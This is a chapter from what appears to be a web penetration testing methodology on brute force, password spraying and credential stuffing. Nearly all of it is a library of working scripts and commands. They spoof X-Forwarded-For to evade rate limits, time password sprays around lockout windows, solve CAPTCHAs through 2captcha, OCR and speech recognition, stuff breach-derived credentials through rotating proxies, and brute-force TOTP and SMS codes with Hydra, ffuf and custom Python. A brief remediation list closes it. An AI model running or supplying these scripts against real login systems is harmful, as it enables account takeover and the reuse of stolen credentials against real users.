Brute Force & Credential Stuffing
Severity: High | CWE: CWE-307, CWE-521 OWASP: A07:2021 – Identification and Authentication Failures
What Is the Attack Class?
Credential stuffing: automated use of username/password pairs from previous data breaches against a target application — relies on password reuse.
Brute force: systematic testing of all possible passwords or a targeted wordlist against a known username.
Password spraying: test one or a few common passwords across many accounts — avoids per-account lockout while still achieving high success rates against weak password policies.
The distinguishing challenge in modern targets: rate limiting, CAPTCHA, account lockout, device fingerprinting, and IP reputation systems. This chapter focuses entirely on bypass techniques for these defenses.
Discovery Checklist
Phase 1 — Identify Rate Limiting and Lockout Mechanisms
- Test login endpoint: how many failed attempts before lockout/CAPTCHA?
- Test if lockout is per-IP, per-account, or per-session
- Test if lockout resets with: time wait, email unlock, correct password attempt
- Check for
X-RateLimit-Remaining,Retry-Afterheaders - Test if different User-Agent or Accept-Language bypasses device fingerprint
- Identify CAPTCHA provider: reCAPTCHA v2/v3, hCaptcha, FunCaptcha, image CAPTCHA
Phase 2 — Map Authentication Request
- Identify all parameters in login request (including hidden fields, CSRF tokens)
- Check if CSRF token is required — does it change per-request?
- Identify response differentiator: what distinguishes success from failure?
- Check for subtle differences in failure messages (see Chapter 37 — UserEnum)
- Test if API endpoint bypasses rate limiting applied to web UI
Phase 3 — Bypass Mechanisms
- IP rotation: X-Forwarded-For, X-Real-IP, Forwarded header injection
- Account lockout: password spray (1 attempt per account), correct lockout threshold
- CAPTCHA: identify service → select bypass technique
- Distributed attack: multiple source IPs
- API endpoint: same auth backend, different rate limit policy
Payload Library
Payload 1 — IP Header Rotation Bypass
# Many applications trust X-Forwarded-For for rate limiting:
# Rotate X-Forwarded-For IP on each request → bypass per-IP rate limit
python3 << 'EOF'
import requests, random, time
TARGET = "https://target.com/api/login"
HEADERS_BASE = {"Content-Type": "application/json", "User-Agent": "Mozilla/5.0"}
def random_ip():
# Generate random public IP (avoid RFC-1918):
while True:
ip = f"{random.randint(1,223)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
# Skip private ranges:
if not (ip.startswith('10.') or ip.startswith('192.168.') or
ip.startswith('172.16.') or ip.startswith('127.')):
return ip
def login_attempt(username, password):
ip = random_ip()
headers = {**HEADERS_BASE,
"X-Forwarded-For": ip,
"X-Real-IP": ip,
"X-Originating-IP": ip,
"Forwarded": f"for={ip}",
"CF-Connecting-IP": ip,
"True-Client-IP": ip}
r = requests.post(TARGET, headers=headers,
json={"username": username, "password": password},
timeout=10)
return r
# Load credential pairs:
with open("credentials.txt") as f:
creds = [line.strip().split(":", 1) for line in f if ":" in line]
for username, password in creds:
r = login_attempt(username, password)
if "dashboard" in r.text or r.status_code == 200 and "error" not in r.text.lower():
print(f"[!!!] SUCCESS: {username}:{password}")
else:
print(f"[ ] {username}:{password} → {r.status_code}")
time.sleep(0.5) # throttle
EOF
# Test which IP headers the target trusts:
for header in "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" \
"CF-Connecting-IP" "True-Client-IP" "Forwarded" "X-Client-IP"; do
# Send 5 requests with same spoofed IP, then 6th:
for i in {1..5}; do
curl -s -X POST "https://target.com/api/login" \
-H "$header: 1.2.3.4" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"wrong"}' -o /dev/null
done
# 6th request with different "IP":
resp=$(curl -s -X POST "https://target.com/api/login" \
-H "$header: 5.6.7.8" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"wrong"}')
echo "$header bypass: $resp"
done
Payload 2 — Password Spraying (Lockout Bypass)
#!/usr/bin/env python3
"""
Password spraying — one password against many accounts
Avoids per-account lockout (typically 5–10 attempts before lockout)
"""
import requests, time, random
from datetime import datetime
TARGET = "https://target.com/api/login"
SPRAY_INTERVAL = 30 * 60 # 30 minutes between rounds (lockout reset period)
# Spray one password per account per round:
SPRAY_PASSWORDS = [
"Winter2024!", "Spring2024!", "Summer2024!", "Fall2024!",
"Welcome1!", "Password1!", "Company2024!", "Passw0rd!",
"January2024", "February2024", "CompanyName1!",
"Monday2024!", "Qwerty123!", "Welcome@1",
]
# Username list (from enumeration, LinkedIn, OSINT):
usernames = [line.strip() for line in open("users.txt") if line.strip()]
def spray_round(password, users, delay=1.0):
print(f"\n[{datetime.now():%H:%M}] Spraying: '{password}' against {len(users)} accounts")
hits = []
for username in users:
try:
r = requests.post(TARGET,
json={"username": username, "password": password},
headers={"Content-Type": "application/json",
"X-Forwarded-For": f"{random.randint(1,220)}.{random.randint(0,255)}.0.1"},
timeout=10)
# Success detection — customize for target:
if r.status_code in (200, 302) and (
"token" in r.text or "session" in r.text or
r.headers.get("Location", "").endswith("/dashboard")
):
print(f" [!!!] SUCCESS: {username}:{password}")
hits.append((username, password))
elif "locked" in r.text.lower():
print(f" [LOCKED] {username}")
except Exception as e:
print(f" [ERR] {username}: {e}")
time.sleep(delay + random.uniform(0, 0.5))
return hits
all_hits = []
for i, password in enumerate(SPRAY_PASSWORDS):
hits = spray_round(password, usernames)
all_hits.extend(hits)
if i < len(SPRAY_PASSWORDS) - 1:
print(f"\n[*] Waiting {SPRAY_INTERVAL//60} minutes before next round...")
time.sleep(SPRAY_INTERVAL)
print(f"\n[+] Total hits: {len(all_hits)}")
for u, p in all_hits:
print(f" {u}:{p}")
Payload 3 — CAPTCHA Bypass Techniques
# reCAPTCHA v2 bypass — 2captcha / anti-captcha API:
python3 << 'EOF'
import requests, time
TWOCAPTCHA_KEY = "YOUR_2CAPTCHA_KEY"
SITE_KEY = "6Le...RECAPTCHA_SITE_KEY" # from page source: data-sitekey
PAGE_URL = "https://target.com/login"
# Step 1: Submit task:
r = requests.post("https://2captcha.com/in.php", data={
"key": TWOCAPTCHA_KEY,
"method": "userrecaptcha",
"googlekey": SITE_KEY,
"pageurl": PAGE_URL,
"json": 1
})
task_id = r.json()["request"]
print(f"Task submitted: {task_id}")
# Step 2: Poll for result (typically 15-45 seconds):
time.sleep(20)
for attempt in range(10):
result = requests.get("https://2captcha.com/res.php", params={
"key": TWOCAPTCHA_KEY,
"action": "get",
"id": task_id,
"json": 1
}).json()
if result.get("status") == 1:
token = result["request"]
print(f"Token: {token[:30]}...")
break
time.sleep(5)
# Step 3: Submit login with CAPTCHA token:
r = requests.post(PAGE_URL, data={
"username": "admin@target.com",
"password": "PASSWORD_TO_TEST",
"g-recaptcha-response": token
})
print(f"Login result: {r.status_code}")
EOF
# hCaptcha bypass via same API (different method name):
# method: "hcaptcha" instead of "userrecaptcha"
# reCAPTCHA v3 bypass — score manipulation:
# v3 returns a score (0.0–1.0); if server checks score >= 0.5:
# → use 2captcha with "min_score": 0.7 in request
# Audio CAPTCHA bypass:
# Accessibility feature provides audio version of image CAPTCHA
# Use SpeechRecognition or Whisper to transcribe audio CAPTCHA
python3 << 'EOF'
import requests, speech_recognition as sr, io, os
def solve_audio_captcha(audio_url):
"""Download audio CAPTCHA and transcribe"""
audio_data = requests.get(audio_url).content
# Convert mp3 to wav if needed:
with open("/tmp/captcha.mp3", "wb") as f:
f.write(audio_data)
os.system("ffmpeg -i /tmp/captcha.mp3 /tmp/captcha.wav -y -loglevel quiet")
recognizer = sr.Recognizer()
with sr.AudioFile("/tmp/captcha.wav") as source:
audio = recognizer.record(source)
try:
text = recognizer.recognize_google(audio)
return text.replace(" ", "").strip()
except:
return None
EOF
# Simple image CAPTCHA — OCR bypass:
python3 << 'EOF'
import requests, pytesseract
from PIL import Image, ImageFilter
from io import BytesIO
def solve_image_captcha(captcha_url, session):
"""Download and OCR simple image CAPTCHA"""
img_bytes = session.get(captcha_url).content
img = Image.open(BytesIO(img_bytes))
# Preprocessing for better OCR:
img = img.convert('L') # grayscale
img = img.point(lambda x: 0 if x < 140 else 255) # threshold
img = img.filter(ImageFilter.MedianFilter())
text = pytesseract.image_to_string(img, config='--psm 8 -c tessedit_char_whitelist=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz')
return text.strip()
EOF
Payload 4 — Account Lockout Enumeration and Bypass
# Test lockout threshold:
for i in {1..20}; do
resp=$(curl -s -X POST "https://target.com/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"admin@target.com","password":"wrong'$i'"}' \
-w " | HTTP:%{http_code}")
echo "Attempt $i: $resp" | head -c 200
done
# Test if lockout is per-account or per-IP:
# If per-IP: same account + different IP → not locked
# Test: after lockout, change X-Forwarded-For:
curl -X POST "https://target.com/api/login" \
-H "Content-Type: application/json" \
-H "X-Forwarded-For: 99.99.99.99" \
-d '{"username":"admin@target.com","password":"try_after_lockout"}'
# Test lockout reset window:
# After lockout: wait N minutes → try again
# Check if correct password during lockout period resets counter
# Soft lockout bypass via "remember me" token:
# If app issues long-lived token on first auth:
# Use token to stay authenticated despite lockout
curl "https://target.com/api/session/extend" \
-H "Authorization: Bearer LONG_LIVED_TOKEN"
# API endpoint bypass — if web UI is rate limited but API is not:
# Web: POST /login → rate limited
# API: POST /api/v1/auth/token → different rate limit policy
for password in Summer2024 Winter2024 Password1 Welcome1; do
curl -s "https://target.com/api/v1/auth/token" \
-H "Content-Type: application/json" \
-d "{\"username\":\"admin@target.com\",\"password\":\"$password\"}" | \
grep -q "access_token" && echo "SUCCESS: $password"
done
# Reset lockout via password reset flow:
# If resetting password clears failed attempt counter:
# 1. Trigger lockout
# 2. Request password reset (uses your email)
# 3. Complete reset
# 4. Counter reset → brute force again
Payload 5 — Credential Stuffing Automation
# Prepare credential list from breach databases:
# - HaveIBeenPwned downloadable hash list (NTLM hashes — for local cracking only)
# - Dehashed, LeakCheck, WeLeakInfo APIs
# - Compiled lists from github.com/danielmiessler/SecLists/Passwords/
# Format preparation:
# Standard format: username:password (one per line)
# Convert: email,password CSV → email:password:
awk -F',' '{print $1 ":" $2}' breach_data.csv > creds.txt
# Sentry MBA / OpenBullet (commercial tools — legal use only in authorized tests)
# These handle CAPTCHA solving, proxy rotation, retry logic natively
# Custom Python credential stuffing with proxy rotation:
python3 << 'EOF'
import requests, time, random, concurrent.futures
TARGET = "https://target.com/api/login"
PROXIES_FILE = "proxies.txt" # format: http://IP:PORT or socks5://IP:PORT
CREDS_FILE = "credentials.txt"
with open(PROXIES_FILE) as f:
proxies = [line.strip() for line in f if line.strip()]
with open(CREDS_FILE) as f:
creds = [line.strip().split(":", 1) for line in f if ":" in line]
def test_cred(user_pass):
username, password = user_pass
proxy = random.choice(proxies)
proxy_dict = {"http": proxy, "https": proxy}
try:
r = requests.post(TARGET,
json={"username": username, "password": password},
headers={"Content-Type": "application/json",
"User-Agent": f"Mozilla/5.0 (Windows NT 10.0; Win64; x64) rv/{random.randint(80,120)}.0"},
proxies=proxy_dict, timeout=15, allow_redirects=False)
if r.status_code in (200, 302):
if r.status_code == 302 and "dashboard" in r.headers.get("Location", ""):
return ("SUCCESS", username, password)
if "token" in r.text or "success" in r.text.lower():
return ("SUCCESS", username, password)
return ("FAIL", username, password)
except:
return ("ERROR", username, password)
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
for result in executor.map(test_cred, creds):
status, user, pwd = result
if status == "SUCCESS":
print(f"[!!!] {user}:{pwd}")
EOF
# Hydra — traditional brute force / credential stuffing:
hydra -C creds.txt target.com https-post-form \
"/api/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:Invalid credentials" \
-t 4 -w 3
# Medusa:
medusa -H hosts.txt -U users.txt -P passwords.txt \
-M http -m "POST:https://target.com/login:username=^USER^&password=^PASS^:Invalid"
Payload 6 — Multi-Factor Authentication Brute Force
# TOTP 6-digit code: 000000–999999 = 1,000,000 possibilities
# 30-second window = ~2 valid codes at any time
# Brute force window: ~30 seconds to try many codes
# Without rate limiting — try all current window codes:
python3 << 'EOF'
import requests, time, pyotp
SESSION = "POST_PASSWORD_SESSION"
TARGET = "https://target.com/api/auth/verify-mfa"
# If server doesn't enforce rate limiting on MFA endpoint:
# Try codes sequentially (or spray across accounts)
for code in range(1000000):
code_str = str(code).zfill(6)
r = requests.post(TARGET,
headers={"Authorization": f"Bearer {SESSION}",
"Content-Type": "application/json"},
json={"otp": code_str}, timeout=5)
if r.status_code == 200 and "error" not in r.json().get("status", ""):
print(f"[!!!] Valid OTP: {code_str}")
break
EOF
# SMS OTP — if 4-digit (some legacy apps):
# Only 10000 possibilities, feasible if no lockout
for i in $(seq -w 0 9999); do
resp=$(curl -s -X POST "https://target.com/api/verify-sms" \
-H "Authorization: Bearer SESSION" \
-H "Content-Type: application/json" \
-d "{\"code\":\"$i\"}")
echo "$i: $resp" | grep -v "invalid\|incorrect\|wrong" && break
done
# Backup code brute force:
# Backup codes are often short numeric codes:
# 8 digits = 100,000,000 possibilities → impractical
# But many apps use short codes: 6 chars alphanumeric = 2.17 billion → also impractical
# However: some apps have predictable backup code generation (based on user_id + timestamp)
# Check if backup codes can be enumerated via timing oracle
Tools
# Hydra — multi-protocol brute force:
hydra -l admin@target.com -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt \
-s 443 -f -V target.com https-post-form \
"/api/login:username=^USER^&password=^PASS^:error"
# ffuf — fast HTTP brute force:
ffuf -u https://target.com/api/login \
-X POST -H "Content-Type: application/json" \
-d '{"username":"admin@target.com","password":"FUZZ"}' \
-w /usr/share/seclists/Passwords/Common-Credentials/best1050.txt \
-mc 200 -fr "invalid\|error" -c
# Turbo Intruder (Burp) — single-packet MFA code brute:
# Use when target has per-request rate limit but not burst protection
# Script: queue all 999999 codes in single-packet burst
# CUPP — custom wordlist generator based on target info:
pip3 install cupp
cupp -i # interactive profile-based wordlist generation
# CeWL — generate wordlist from target website:
cewl https://target.com -d 2 -m 6 -o cewl_wordlist.txt
# 2captcha/anti-captcha API for CAPTCHA solving:
pip3 install 2captcha-python
# hashcat — offline brute force of leaked password hashes:
hashcat -m 3200 hashes.txt /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt
# -m 3200: bcrypt; -m 0: MD5; -m 1000: NTLM
# Spray tool with lockout awareness:
# sprayhound — domain password spray with lockout awareness:
pip3 install sprayhound
sprayhound -U users.txt -d target.com --smart # respects lockout policy automatically
Remediation Reference
- Account lockout: lock after 5–10 failed attempts; require unlock via email or wait period — apply per-account, not per-IP (IP spoofing defeats IP-based lockout)
- Exponential backoff: increase delay between allowed attempts: after 3 fails → 5s wait, after 5 → 30s, after 10 → lock
- CAPTCHA placement: present CAPTCHA after first failed login attempt — not before (reduces UX friction for legitimate users while stopping automated attacks)
- Device fingerprinting: track device fingerprint (not just IP) for lockout — require additional verification for new devices
- Credential stuffing defense: check submitted passwords against HaveIBeenPwned API — warn/block if breached credential is used
- Multi-factor authentication: MFA on all accounts significantly reduces credential stuffing impact — even if password is compromised, MFA codes must also be obtained
- Rate limiting on MFA: apply strict rate limiting to MFA code verification — lockout after 5 incorrect OTP attempts
- Distrust IP headers: never use
X-Forwarded-Foror similar headers for rate limiting unless your architecture guarantees they come from a trusted proxy
Part of the Web Application Penetration Testing Methodology series.